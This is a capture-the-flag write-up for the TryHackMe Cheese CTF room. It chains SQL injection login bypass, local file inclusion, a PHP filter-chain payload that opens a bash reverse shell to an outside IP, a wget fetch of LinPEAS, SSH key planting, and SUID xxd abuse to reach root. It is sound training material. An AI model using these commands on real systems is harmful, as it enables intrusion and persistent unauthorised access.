📝 TryHackMe: Cheese CTF – Writeup

📌 Room Overview

The CheeseCTF room on TryHackMe is an easy-level challenge that demonstrates a full attack chain:

• Reconnaissance with nmap

• Web exploitation (SQLi & Local File Inclusion)

• LFI to RCE via PHP filter tricks

• Privilege escalation first to the comte user and finally to root

This room provides hands-on practice for exploiting web vulnerabilities and Linux privilege escalation misconfigurations.

---

🎯 Step 1 – Reconnaissance

We begin with an Nmap scan of the target:

nmap -sS --top-ports 3000 <target-ip>

• Multiple open ports are identified.

• Port 80 (HTTP) is hosting a web application.

Visiting the Website

Exploring further, we find a login page.

---

🔐 Step 2 – Web Exploitation

SQL Injection

Using ffuf, I fuzzed for SQL injection payloads from the SecLists wordlists:

ffuf -w /usr/share/seclists/Fuzzing/SQLi.txt -u http://<target-ip>/login.php -X POST -d "username=FUZZ&password=FUZZ"

➡️ With this, I was able to bypass the login form.

---

📂 Step 3 – Local File Inclusion (LFI)

After login, inspecting the URL parameters showed that the file parameter was used to include resources:

http://<target-ip>/index.php?file=page.php

Testing with /etc/passwd confirmed LFI:

http://<target-ip>/index.php?file=/etc/passwd

---

💥 Step 4 – LFI to RCE

To escalate from LFI to Remote Code Execution (RCE), I used the php_filter_chain_generator tool. link here

python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"/bin/bash -i >& /dev/tcp/10.17.18.203/4445 0>&1\"'); ?>"

The generated payload was passed into the vulnerable file parameter, which executed PHP code on the server.

Finally, I set up a listener and triggered the payload to gain a reverse shell:

nc -lvnp 4444

At this stage, I had a shell as the www-data user.

---

🛠️ Step 5 – Shell Stabilization

The default shell was unstable. I upgraded it to a proper TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo&& fg
reset

Now I had a more interactive shell environment.

---

👤 Step 6 – Privilege Escalation (User comte)

I downloaded and executed LinPEAS to enumerate the system:

wget http://<attacker-ip>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

• Note: if permission denied for wget then try to execute it from /tmp

  

• Simple cd /tmp && wget http://<ip>/linpeas.sh will solve the issue

LinPEAS highlighted potential privilege escalation vectors.

Among them:

• Write permissions on comte’s SSH authorized_keys file.

So, I placed my SSH public key inside /home/comte/.ssh/authorized_keys and logged in as comte:

ssh -i id_rsa comte@<target-ip>

Boom ! got the user shell!

cat user.txt will give the flag!

---

⚡ Step 7 – Privilege Escalation (Root)

Enumerating sudo

Running sudo -l as comte showed:

User comte may run the following commands on ip-10-201-48-162:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

Inspecting Services

Checking /etc/systemd/system/ revealed:

exploit.service:

[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"

➡️ This copies xxd into /opt/xxd with the SUID bit set.

---

🔓 Step 8 – Exploiting SUID xxd

Starting the service:

sudo systemctl start exploit.timer

• It returned Error so i added the entry of the exploit.timer

Now /opt/xxd had SUID root:

ls -l /opt/xxd
-rwsr-sr-x 1 root root 123456 /opt/xxd

With this, I could write files as root.

Writing Root’s Authorized Keys

I added my SSH public key to root’s authorized_keys:

echo "ssh-ed25519 AAAAC3Nz... kali@kali" \
| /opt/xxd | /opt/xxd -r - "/root/.ssh/authorized_keys"

---

🐚 Step 9 – Root Access

Now I could SSH directly as root:

ssh -i id_ed25519 root@<target-ip>

or another easy way

/opt/xxd "/root/root/root.txt" | xxd -r

---

📖 Key Learnings

• SQL Injection can often be combined with LFI to escalate further.

• LFI to RCE using PHP filters is a powerful technique.

• Systemd misconfigurations (sudo + timers/services) can lead to privilege escalation.

• SUID binaries can be abused to read/write root files.

• Adding an attacker’s key to authorized_keys is a stealthy persistence method.

---

🔗 References

• php_filter_chain_generator – GitHub

• GTFOBins – for exploiting SUID binaries

• Use LinPEAS

• Other community writeups:

  • Writeup 1

---